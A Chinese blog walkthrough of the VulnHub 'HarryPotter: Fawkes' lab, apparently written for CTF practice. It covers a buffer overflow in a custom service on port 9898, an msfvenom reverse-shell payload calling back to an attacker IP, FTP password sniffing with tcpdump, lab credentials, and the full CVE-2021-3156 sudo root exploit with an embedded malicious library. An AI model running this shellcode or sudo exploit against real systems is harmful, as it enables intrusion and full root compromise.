vulnhub之HARRYPOTTER: FAWKES

目录

地址:

目标:

一、主机发现

二、端口扫描

三、服务版本发现

四、信息收集

1.80端口

2.扫描目录

3.回看服务信息

4.ftp匿名访问

5.尝试执行

 6.查看server进程和网络状态

7.连接9898端口

五、edb-debugger调试进程

1.前提

2.调试

(2)生成payload

 (3)注入payload

(4)msf-pattern_create生成500个不同字符串

(5)msf-pattern_offset找偏移量

(6)验证EIP和ESP位置

六、python脚本反弹shell

1.msfvenom

2.python脚本

3.本地执行

 七、信息收集

1.查看隐藏文件

 2.cat mycreds.txt

3.ssh

 4.信息收集

(1)sudo配置问题

(2) /root

 (3)note.txt

八、tcpdump流量分析

1.ssh登录 

2.第二个flag

九、提权

1.信息收集

2.利用

(1)修改文件

3.传送到目标服务器上

4.成功提权


地址:

https://download.vulnhub.com/harrypotter/Fawkes.ovaicon-default.png?t=M4ADhttps://download.vulnhub.com/harrypotter/Fawkes.ova

目标:

拿到两个root,三个flag

一、主机发现

二、端口扫描

开放五个端口。

三、服务版本发现

21端口ftp服务,22端口是ssh,80端口http服务,系统和服务版本都很清楚,2222端口又开启了一个ssh,9898是一个未知服务。

四、信息收集

1.80端口

出来一张图片啥也没有。

2.扫描目录

好家伙啥也没有

3.回看服务信息

发现了21端口有anonymous匿名访问

4.ftp匿名访问

发现一个文件,get下来,并且查看其详细信息,发现是一个ELF的文件,类似于windous的PE(Protable executable)文件,可执行文件

5.尝试执行

发现没有反应

 6.查看server进程和网络状态

ps -aux | grep server

ss -pantu | grep server

 发现这个server_hogwarts这个进程正在运行中。并且运行的端口号和我们在扫描服务版本时同样是9898端口。

7.连接9898端口

输入魔法指令可以输出相应的文字,这种二进制可执行程序无法查看源码,所以只能对其进行动态调试。能够提交数据,可能存在缓冲区溢出漏洞。 

五、edb-debugger调试进程

1.前提

我们是通过ftp服务下载到本地来调试,但是kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致我们无法确定缓冲区溢出的位置。所以要关闭。

将proc/sys/kernel中的randomize_va_space改为0即可。

2.调试

apt-get install edb-debugger

安装好右上角启动即可

(2)生成payload

 python生成500个A

 (3)注入payload

首先启动程序

之后edb-debugger中file里attach添加server就可。之后点击run,输入payload即可,我们可以看到这里EIP寄存器都被4141(A)覆盖ESP中也被覆盖,EIP中存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体的指令。

(4)msf-pattern_create生成500个不同字符串

msf-pattern_create -l 500

(5)msf-pattern_offset找偏移量

msf-pattern_offset -l 500 -q 64413764

(6)验证EIP和ESP位置

python -c "print('A'*112+'BBBB'+'C'*100)"

生成一串验证字符串,进行调试,发现EIP寄存器是BBBB,ESP中是CCCCCC,所以去构造一个脚本来反弹shell,ESP寄存器中就是我们的反弹shell的十六进制代码

六、python脚本反弹shell

1.msfvenom

这里是用msfvenom来生成一串python的十六进制payload

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.43.27 LPORT=4444 -b "\x00" -f python

2.python脚本

#!/usr/bin/python2
import sys,socket
buf =  b""
buf += b"\xd9\xea\xd9\x74\x24\xf4\xbb\x3b\x8c\xca\x43\x5d\x29"
buf += b"\xc9\xb1\x12\x31\x5d\x17\x83\xc5\x04\x03\x66\x9f\x28"
buf += b"\xb6\xa9\x44\x5b\xda\x9a\x39\xf7\x77\x1e\x37\x16\x37"
buf += b"\x78\x8a\x59\xab\xdd\xa4\x65\x01\x5d\x8d\xe0\x60\x35"
buf += b"\xce\xbb\xb8\xde\xa6\xb9\xbe\xf1\x6a\x37\x5f\x41\xf4"
buf += b"\x17\xf1\xf2\x4a\x94\x78\x15\x61\x1b\x28\xbd\x14\x33"
buf += b"\xbe\x55\x81\x64\x6f\xc7\x38\xf2\x8c\x55\xe8\x8d\xb2"
buf += b"\xe9\x05\x43\xb4"

payload='A'*112+'\x55\x9d\04\x08'+'\x90'*32+buf
try:
    s=socket.socket()
    s.connect(('127.0.0.1',9898))
    s.send((payload))
    s.close()
except:
    print('wrong')
    sys.exit()

3.本地执行

开启服务,开启侦听端口,用./脚本名执行就行。当然这是我们在本地测试这个程序有缓冲区漏洞并且可以成功反弹shell,在python脚本中改一下ip地址,再次执行成功反弹shell

 七、信息收集

1.查看隐藏文件

在/home/harry这个目录下,我们在查看隐藏文件时,发现了mycreds.txt

 2.cat mycreds.txt

发现一串疑似密码的东西,尝试去用ssh登录

HarrYp0tter@Hogwarts123

3.ssh

经过多番尝试在2222端口开放的ssh服务,我们利用获得的信息成功登入

 4.信息收集

在信息收集中我们发现这是一个docker容器,并不是我们真正的宿主机,要跳出docker容器,就要收集更多的信息。

(1)sudo配置问题

我们直接利用sudo配置问题提权为docker的root,拿到第一个root

(2) /root

在/root目录下,我们找到了第一个horcrux1.txt(flag)

 (3)note.txt

并且拿到了一个提示信息,让我们去分析21ftp服务上的流量。

八、tcpdump流量分析

tcpdump -i eth0 port 21

首先进行了tcp三次握手,之后我们可以看到客户端向服务端发送了账号密码

neville   bL!Bsg3k

1.ssh登录 

经过查看我们发现这是宿主机

2.第二个flag

九、提权

常规的提权手段均不成功

1.信息收集

debian版本10

sudo版本

sudo 堆的缓冲区溢出漏洞,详细文章如下。

CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blogicon-default.png?t=M4ADhttps://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

2.利用

利用代码:

CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156 · GitHubicon-default.png?t=M4ADhttps://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

(1)修改文件

由于路径是在/usr/local/bin/sudo,所以修改代码。

#!/usr/bin/python3
'''
Exploit for CVE-2021-3156 with overwrite struct service_user by sleepya

This exploit requires:
- glibc with tcache
- nscd service is not running

Tested on:
- Ubuntu 18.04
- Ubuntu 20.04
- Debian 10
- CentOS 8
'''
import os
import subprocess
import sys
from ctypes import cdll, c_char_p, POINTER, c_int, c_void_p

SUDO_PATH = b"/usr/local/bin/sudo"

libc = cdll.LoadLibrary("libc.so.6")

# don't use LC_ALL (6). it override other LC_
LC_CATS = [
	b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY",
	b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS",
	b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION"
]

def check_is_vuln():
	# below commands has no log because it is invalid argument for both patched and unpatched version
	# patched version, error because of '-s' argument
	# unpatched version, error because of '-A' argument but no SUDO_ASKPASS environment
	r, w = os.pipe()
	pid = os.fork()
	if not pid:
		# child
		os.dup2(w, 2)
		execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ])
		exit(0)
	# parent
	os.close(w)
	os.waitpid(pid, 0)
	r = os.fdopen(r, 'r')
	err = r.read()
	r.close()
	
	if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err:
		return True
	assert err.startswith('usage: ') or "invalid mode flags " in err, err
	return False

def create_libx(name):
	so_path = 'libnss_'+name+'.so.2'
	if os.path.isfile(so_path):
		return  # existed
	
	so_dir = 'libnss_' + name.split('/')[0]
	if not os.path.exists(so_dir):
		os.makedirs(so_dir)
	
	import zlib
	import base64

	libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'
	with open(so_path, 'wb') as f:
		f.write(zlib.decompress(base64.b64decode(libx_b64)))
	#os.chmod(so_path, 0o755)

def check_nscd_condition():
	if not os.path.exists('/var/run/nscd/socket'):
		return True # no socket. no service
	
	# try connect
	import socket
	sk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
	try:
		sk.connect('/var/run/nscd/socket')
	except:
		return True
	else:
		sk.close()

	with open('/etc/nscd.conf', 'r') as f:
		for line in f:
			line = line.strip()
			if not line.startswith('enable-cache'):
				continue # comment
			service, enable = line.split()[1:]
			# in fact, if only passwd is enabled, exploit with this method is still possible (need test)
			# I think no one enable passwd but disable group
			if service == 'passwd' and enable == 'yes':
				return False
			# group MUST be disabled to exploit sudo with nss_load_library() trick
			if service == 'group' and enable == 'yes':
				return False
			
	return True

def get_libc_version():
	output = subprocess.check_output(['ldd', '--version'], universal_newlines=True)
	for line in output.split('\n'):
		if line.startswith('ldd '):
			ver_txt = line.rsplit(' ', 1)[1]
			return list(map(int, ver_txt.split('.')))
	return None

def check_libc_version():
	version = get_libc_version()
	assert version, "Cannot detect libc version"
	# this exploit only works which glibc tcache (added in 2.26)
	return version[0] >= 2 and version[1] >= 26

def check_libc_tcache():
	libc.malloc.argtypes = (c_int,)
	libc.malloc.restype = c_void_p
	libc.free.argtypes = (c_void_p,)
	# small bin or tcache
	size1, size2 = 0xd0, 0xc0
	mems = [0]*32
	# consume all size2 chunks
	for i in range(len(mems)):
		mems[i] = libc.malloc(size2)
		
	mem1 = libc.malloc(size1)
	libc.free(mem1)
	mem2 = libc.malloc(size2)
	libc.free(mem2)
	for addr in mems:
		libc.free(addr)
	return mem1 != mem2

def get_service_user_idx():
	'''Parse /etc/nsswitch.conf to find a group entry index
	'''
	idx = 0
	found = False
	with open('/etc/nsswitch.conf', 'r') as f:
		for line in f:
			if line.startswith('#'):
				continue # comment
			line = line.strip()
			if not line:
				continue # empty line
			words = line.split()
			if words[0] == 'group:':
				found = True
				break
			for word in words[1:]:
				if word[0] != '[':
					idx += 1
			
	assert found, '"group" database is not found. might be exploitable but no test'
	return idx

def get_extra_chunk_count(target_chunk_size):
	# service_user are allocated by calling getpwuid()
	# so we don't care allocation of chunk size 0x40 after getpwuid()
	# there are many string that size can be varied
	# here is the most common
	chunk_cnt = 0
	
	# get_user_info() -> get_user_groups() ->
	gids = os.getgroups()
	malloc_size = len("groups=") + len(gids) * 11
	chunk_size = (malloc_size + 8 + 15) & 0xfffffff0  # minimum size is 0x20. don't care here
	if chunk_size == target_chunk_size: chunk_cnt += 1
	
	# host=<hostname>  (unlikely)
	# get_user_info() -> sudo_gethostname()
	import socket
	malloc_size = len("host=") + len(socket.gethostname()) + 1
	chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
	if chunk_size == target_chunk_size: chunk_cnt += 1
	
	# simply parse "networks=" from "ip addr" command output
	# another workaround is bruteforcing with number of 0x70
	# policy_open() -> format_plugin_settings() ->
	# a value is created from "parse_args() -> get_net_ifs()" with very large buffer
	try:
		import ipaddress
	except:
		return chunk_cnt
	cnt = 0
	malloc_size = 0
	proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
	for line in proc.stdout:
		line = line.strip()
		if not line.startswith('inet'):
			continue
		if cnt < 2: # skip first 2 address (lo interface)
			cnt += 1
			continue;
		addr = line.split(' ', 2)[1]
		mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False).netmask)
		malloc_size += addr.index('/') + 1 + len(mask)
		cnt += 1
	malloc_size += len("network_addrs=") + cnt - 3 + 1
	chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
	if chunk_size == target_chunk_size: chunk_cnt += 1
	proc.wait()
	
	return chunk_cnt

def execve(filename, argv, envp):
	libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
	
	cargv = (c_char_p * len(argv))(*argv)
	cenvp = (c_char_p * len(envp))(*envp)

	libc.execve(filename, cargv, cenvp)

def lc_env(cat_id, chunk_len):
	name = b"C.UTF-8@"
	name = name.ljust(chunk_len - 0x18, b'Z')
	return LC_CATS[cat_id]+b"="+name


assert check_is_vuln(), "target is patched"
assert check_libc_version(), "glibc is too old. The exploit is relied on glibc tcache feature. Need version >= 2.26"
assert check_libc_tcache(), "glibc tcache is not found"
assert check_nscd_condition(), "nscd service is running, exploit is impossible with this method"
service_user_idx = get_service_user_idx()
assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx
create_libx("X/X1234")

# Note: actions[5] can be any value. library and known MUST be NULL
FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ]

TARGET_OFFSET_START = 0x780
FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30
FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1]  # remove last '\\'. stop overwritten

CHUNK_CMND_SIZE = 0xf0

# Allow custom extra_chunk_cnt incase unexpected allocation
# Note: this step should be no need when CHUNK_CMND_SIZE is 0xf0
extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1])

argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ]
env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE
# first 2 chunks are fixed. chunk40 (target service_user) is overwritten from overflown cmnd (in get_cmnd)
env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ])

# add free chunks that created before target service_user
for i in range(2, service_user_idx+2):
	# skip LC_ALL (6)
	env.append(lc_env(i if i < 6 else i+1, 0x40))
if service_user_idx == 0:
	env.append(lc_env(2, 0x20)) # for filling hole

for i in range(11, 11-extra_chunk_cnt, -1):
	env.append(lc_env(i, CHUNK_CMND_SIZE))

env.append(lc_env(12, 0x90)) # for filling holes from freed file buffer
env.append(b"TZ=:")  # shortcut tzset function
# don't put "SUDO_ASKPASS" environment. sudo will fail without logging if no segfault
env.append(None)

execve(SUDO_PATH, argv, env)

3.传送到目标服务器上

目标服务器

nc -nvlp 4444 > exp.py

kali

nc 192.168.43.232 4444 < exploit_nss.py -w 1

 之后执行就可以了

4.成功提权

拿到了第二个root和第三个flag

 

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

梅_花_七

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值